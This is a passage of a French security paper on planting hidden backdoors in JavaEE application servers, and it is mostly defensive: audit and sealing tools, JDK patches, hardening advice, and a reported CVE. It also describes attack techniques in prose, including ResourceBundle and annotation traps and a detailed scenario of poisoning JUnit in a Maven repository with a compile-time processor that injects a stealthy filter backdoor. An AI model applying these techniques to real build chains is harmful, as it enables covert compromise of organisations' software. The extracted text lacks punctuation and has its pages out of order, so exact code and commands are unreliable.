Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
394 Porte derobee dans les serveurs drsquoapplications JavaEE
De nombreux frameworks utilisent des ResourcesBundles Une requete avecgooglecodesearch montre lrsquoetendue des possibilites httpwwwgooglecomcodesearchq=ResourceBundlegetBundle+lang3Ajava
Il suffit drsquoajouter une classe de meme nom qursquoun fichier de ressource pour quele piege se declenche a lrsquoinsu de lrsquoapplicatif Lors drsquoun traitement anodin commele chargement drsquoun fichier de clefvaleur la porte srsquoinstalle dans le systeme Enchoisissant judicieusement les pieges la probabilite drsquoexecuter le code drsquoinitialisationde la porte derobee est forte En effet plus aucun projet ne se passe de composantsOpen Source ou non
Si un RessourceBundle est utilise dans un code privilegie la classe de simulationpeut alors beneficier des privileges
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
Object run()
ResourceBundlegetBundle(innocent)
getString(key) Oups
return null
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementdans le bulletin CVE-2009-0911 par nos soins
Piege par Annotations De plus en plus de frameworks utilisent les annotations pouridentifier des classes et des instances a initialiser Crsquoest un objectif de lrsquoannotation reduire le parametrage En exploitant les annotations exploitees par les differentsframeworks il est possible drsquoajouter une classe qui sera automatiquement invoquee
Par exemple le framework Spring construit des instances des classes etant annoteesde Component ou Repository La contrainte est qursquoil faut declarer une classe dansun repertoire consulte par lrsquoapplication lors de son initialisation
ltcontextcomponent -scan base -package=orgmonprojetgt
Lrsquoinconvenient de ce piege est qursquoil exige de connaıtre le nom de la branche duprojet ou seront recherches les differents composants Sans modification du fichier oucapture de lrsquoanalyse par le parseur XML il nrsquoest pas possible de proposer un piegegenerique exploitant cette fonctionnalite Par contre un developpeur du projet nrsquoaaucune difficulte a proposer un code drsquoattaque adapte
P Prados 395
Avec les specifications Servlet 30 chaque classe possedant une chaine de caractereLjavaxservletannotationWebServlet sera instancie par le serveur drsquoappli-cation En effet crsquoest la technique utilise pour identifier les classes possedant uneannotation WebServlet
Augmentation de privileges Une fois le piege declenche lrsquoetape suivante consistea augmenter les privileges du code de la porte derobee En effet le code du piege nrsquoapas toujours les droits necessaires a la mise en place judicieuse de la porte derobeeSi le code ne beneficie pas drsquoun environnement pour installer tout le necessaire ildoit augmenter ses privileges Ceux-ci peuvent etre des droits drsquoutiliser des API (si lasecurite Java2 est activee) ou pouvoir acceder a des classes particulieres du serveurdrsquoapplications
